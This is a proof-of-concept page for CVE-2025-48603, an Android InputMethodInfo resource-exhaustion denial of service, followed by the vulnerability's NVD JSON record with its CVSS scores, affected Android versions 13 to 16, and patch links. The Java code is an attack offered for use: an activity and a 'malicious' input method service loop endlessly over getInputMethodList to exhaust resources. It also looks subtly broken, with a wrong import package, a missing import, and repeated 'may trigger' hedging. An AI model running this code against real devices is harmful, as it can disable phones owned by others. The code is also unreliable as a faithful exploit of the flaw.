CVE-2025-48603

// CVE-2025-48603 PoC - Android InputMethodInfo Resource Exhaustion DoS // This PoC demonstrates triggering the InputMethodInfo resource exhaustion package com.example.cve202548603; import android.app.InputMethodManager; import android.content.Context; import android.inputmethodservice.InputMethodService; import android.os.Bundle; import android.view.View; import android.view.inputmethod.InputMethodInfo; import java.util.List; import java.util.ArrayList; public class MainActivity extends AppCompatActivity { private InputMethodManager imm; private List<InputMethodInfo> leakedList = new ArrayList<>(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); imm = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE); } // Method to trigger resource exhaustion via repeated InputMethodInfo access public void triggerDoS(View view) { new Thread(() -> { // Repeatedly access InputMethodInfo to trigger resource exhaustion while (true) { try { List<InputMethodInfo> methodList = imm.getInputMethodList(); // Store references without proper cleanup - triggers memory leak for (InputMethodInfo info : methodList) { leakedList.add(info); // Attempt to create additional InputMethodInfo instances // This may trigger resource exhaustion in vulnerable versions analyzeInputMethodInfo(info); } Thread.sleep(100); // Small delay between iterations } catch (Exception e) { e.printStackTrace(); } } }).start(); } // Analysis method that may trigger internal resource allocation issues private void analyzeInputMethodInfo(InputMethodInfo info) { // Access various InputMethodInfo properties String id = info.getId(); String packageName = info.getPackageName(); // Get settings activity - may trigger additional resource allocation android.content.ComponentName settingsActivity = info.getSettingsActivity(); // Get subtypes - each access may allocate resources List<android.view.inputmethod.InputMethodSubtype> subtypes = imm.getEnabledInputMethodSubtypeList(info, false); } // Alternative: Malicious IME that triggers the vulnerability public static class MaliciousInputMethodService extends InputMethodService { @Override public void onCreate() { super.onCreate(); // Repeatedly trigger InputMethodInfo creation triggerResourceExhaustion(); } private void triggerResourceExhaustion() { // Access InputMethodManager and InputMethodInfo in a loop InputMethodManager imm = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE); while (true) { List<InputMethodInfo> list = imm.getInputMethodList(); // Each iteration may leak resources in vulnerable versions } } } }

{"cve": {"id": "CVE-2025-48603", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:17.350", "lastModified": "2025-12-08T21:15:57.907", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In InputMethodInfo of InputMethodInfo.java, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/b4c6786312a217ad9dfd97041b2f1e2f77e39b94", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}